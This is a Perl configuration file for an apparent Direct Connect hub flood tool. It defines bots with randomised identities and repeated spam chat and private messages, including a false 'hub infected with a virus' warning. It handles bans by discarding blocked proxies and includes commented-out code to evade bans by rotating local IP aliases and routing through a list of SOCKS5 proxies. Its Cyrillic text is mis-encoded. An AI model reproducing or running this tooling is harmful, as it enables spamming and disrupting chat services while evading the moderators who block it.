#!/usr/bin/perl #$Id: flooddef.pl 754 2011-03-07 01:07:15Z pro $ $URL: svn://svn.setun.net/dcppp/trunk/examples/flooddef.pl $ # #flood.pl default config # use strict; our (%config); my ( %proxyerr, %proxyok ); $config{'flood_tries'} = 100; $config{'connect_wait'} = 30; $config{'connect_aft_wait'} = 5; $config{'send_tries'} = 1000; $config{'send_sleep'} = 2; $config{'after_sleep'} = 2; $config{'log_filter'} = 1; #$config{'bots'} = 5; #parallel $config{'dcbot_param'} = sub { return { #'Timeout' => 15, 'Nick' => ( $ARGV[1] or rand_str( rand_int( 1, 10 ) ) ), 'sharesize' => rand_int( 1, 1000000000000 ), 'client' => rand_str( rand_int( 1, 5 ) ), 'description' => rand_str( rand_int( 1, 20 ) ), 'email' => rand_str( rand_int( 2, 10 ) ) . '@' . rand_str( rand_int( 2, 10 ) ) . '.com', 'Version' => rand_int( 1, 1000 ), 'V' => rand_int( 1, 1000 ), 'M' => 'P', #mode - passive #'log' => sub {}, # no logging #'log' => sub {return if $_[0] =~ /dbg|dmp/}, # no logging #'min_chat_delay' => 0.401, #'min_cmd_delay' => 0.401, }; }; $config{'handler'}{'create_aft'} = sub { my ($dc) = @_; $dc->{'handler'}{'To'} = $dc->{'handler'}{'welcome'} = sub { for (@_) { #print("ban test[$_]\n"); print("[$dc->{'number'}]BANNED! disconnect.[$_]\n"), $dc->disconnect(), delete $config{'proxy'}{ $dc->{'proxy'} }, delete $proxyok{ $dc->{'proxy'} }, ++$proxyerr{ $dc->{'proxy'} }, last if /ëèøåí ïðàâà ãîâîðèòü â ÷àòå|Sorry you are permanently banned|Âû áûëè çàáàíåíû|âðåìåííî çàáàíåíû|Ó âàñ îòêðûòî íåäîñòàòî÷íî ñëîòîâ|You are being kicked/i; } }; $dc->{'handler'}{'ForceMove'} = $dc->{'handler'}{'welcome'} = sub { print("[$dc->{'number'}]BANNED! disconnect. forcemove\n"), $dc->disconnect(), delete $config{'proxy'}{ $dc->{'proxy'} }; }; $dc->{'handler'}{'Hello'} = sub { print("[$dc->{'number'}] logged in.\n"); }; $dc->{'handler'}{'chatline'} = sub { my $dc = shift; print( "[$dc->{'number'}] chatline ", @_, ".\n" ); }; }; $config{'handler'}{'send'} = sub { my ( $dc, $n ) = @_; # #simple chat line #$dc->rcmd( 'chatline', 'Äîáðîãî âðåìåíè ñóòîê! Ïîëüçóÿñü ñëó÷àåì, õîòèì ñêàçàòü âàì: ÂÛ Ý@3Á@ËÈ ÑÏÀÌÈÒÜ!' ); # #randomized line #$dc->rcmd('chatline',rand_str_ex( 'Äîáðîãî âðåìåíè ñóòîê! Ïîëüçóÿñü ñëó÷àåì, õîòèì ïîïðîñèòü Âàñ áîëüøå íèêîãäà íå ðåêëàìèðîâàòü ñâîé õàá ãäå ïîïàëî. Ñïàñèáî. '. $n ) ); # #to every private #$dc->rcmd('To', $_, 'HUB çàðàæåí âèðóñîì ñðî÷íî ïîêèíüòå åãî!') for keys %{$dc->{'NickList'}}; # }; =example with ip changing my ($ip, $ipa, $ipb, $ipc, $ipd); sub genip { return (10, 131, rand_int( 230, 255 ), rand_int( 1, 255 ) );} sub ipglue {return join'.', (@_ or ($ipa, $ipb, $ipc, $ipd))} $config{'handler'}{'param'} = sub { return ('sockopts' => { 'LocalAddr' => ipglue() }); }; sub if_del { print "if del $ip\n"; print `ifconfig lo1 $ip -alias`; } $config{'handler'}{'create_bef'} = sub { ($ipa, $ipb, $ipc, $ipd) = genip(); $ip = ipglue(); print "if create $ip\n"; print `ifconfig lo1 alias $ip/32`; print "ok\n"; }; $config{'handler'}{'destroy'} = sub { my ($dc) = @_; if_del(); }; =cut =socks5 example $config{'proxy_first'} = 1; # use first working proxy - dont show all @{ $config{'proxy'} }{qw( 24.15.202.25:7566 211.239.150.148:3370 70.135.33.176:19650 76.25.226.185:62059 )} = (); use IO::Socket::Socks; $config{'handler'}{'create_aft0'} = sub { my ($self) = @_; local @_; @_ = keys %proxyok if $config{'proxy_first'}; @_ = keys %{ $config{'proxy'} } unless @_; #$self->log( 'info','selecting proxy from', @_); return unless my $proxy = ( shuffle(@_) )[0] or $self->{'status'} = 'todestroy', $self->log( 'err', 'no good socks', ), return; my ( $host, $port ) = split /:/, $proxy; $self->log( 'info', "[$self->{'number'}]", 'creating socks', ( $host, $port ), 'err=', $proxyerr{$proxy}, 'oks=', $proxyok{$proxy} ); $self->{'socket'} = new IO::Socket::Socks( ProxyAddr => $host, ProxyPort => $port, ConnectAddr => name_to_ip( $self->{'host'} ), ConnectPort => $self->{'port'}, 'Timeout' => $self->{'Timeout'}, ); if ( !defined( $self->{'socket'} ) ) { $self->log( 'err', "[$self->{'number'}]", 'socks', $SOCKS_ERROR ); $self->{'status'} = 'todestroy'; $self->log( 'warn', 'removing socks', $proxy ), delete $config{'proxy'}{$proxy} if ++$proxyerr{$proxy} > 2; delete $proxyok{$proxy} if --$proxyok{$proxy} < 0; } else { delete $proxyerr{$proxy}; ++$proxyok{$proxy}; $self->{'proxy'} = $proxy; } }; END { print "good proxies: ", join ' ', keys %proxyok if keys %proxyok } =cut